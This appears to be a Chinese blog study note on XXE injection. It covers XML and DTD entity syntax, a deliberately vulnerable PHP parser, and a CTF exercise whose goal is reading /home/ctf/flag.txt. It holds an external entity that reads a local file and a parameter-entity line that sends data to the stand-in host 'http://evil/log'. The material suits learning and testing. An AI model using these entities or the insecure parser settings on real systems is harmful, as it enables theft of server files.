best_xxe

1. xxe基础

1.1 语法

1.1.1 XML语法

XML可扩展标记语言,被设计用来传输和存储数据,其形式多样。XML 被设计为传输和存储数据,其焦点是数据的内容。HTML相比于XML,被设计用来显示数据,其焦点是数据的外观。XML可以把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。

xml基本语法

example

1.1.2 DTD语法

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
带有 DTD 的 XML 文档实例如下所示:

DTD语法

内部声明DTD:<!DOCTYPE 根元素 [元素声明]>

DOCTYPE(DTD的声明)

引用外部DTD:<!DOCTYPE 根元素 SYSTEM "文件名">

SYSTEM、PUBLIC(外部资源申请)

1.1.2.1 DTD实体

字符实体: &#aaa; &#xaaa;
命名实体: <!ENTITY x "First Param!">
外部实体: <!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
参数实体: <!ENTITY % 实体名称 "实体的值">
内部实体:内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义
<!ENTITY % param1 '<!ENTITY &#37; xxe SYSTEM "http://evil/log?%payload;" >'

1.1.3 XML运用

1.1.3.1 XML + DTD

命名实体+外部实体写法:

命名+外部

命名实体+外部实体+参数实体写法:

命名+外部+参数

1.1.3.2 XML + PHP

<?php
    highlight_file(__FILE__);
    libxml_disable_entity_loader (false);
//Disable the ability to load external entities
    $xmlfile = file_get_contents("php://input");
    $dom = new DOMDocument();
//Represents an entire HTML or XML document; serves as the root of the document tree. 
    $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
//This function takes a node of a DOM document and makes it into a SimpleXML node. This new object can then be used as a native SimpleXML element. 
    echo $creds;
?>

]>
&goodies;

xml+php

1.1.3.3 练习题

http://web.jarvisoj.com:9882/

这道题要改文件类型为application/xml,flag路径为/home/ctf/flag.txt。(查看/etc/passwd只能看到路径,看不到文件名,哪想到是flag.txt)

function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

writeup:

https://blog.csdn.net/zpy1998zpy/article/details/80918975

1.1.4 XXE的漏洞危害

1.1.4.1 任意文件读取(无回显)

参考资料:

1、 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357

2、XML与xxe注入基础知识 https://www.cnblogs.com/backlion/p/9302528.html

3、XML解析 https://blog.csdn.net/LiJiaxue_1224/article/details/91410571


   转载规则


《best_xxe》 pperk 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
best_xss best_xss
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-11
下一篇 
best_nodejs best_nodejs
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-10
  目录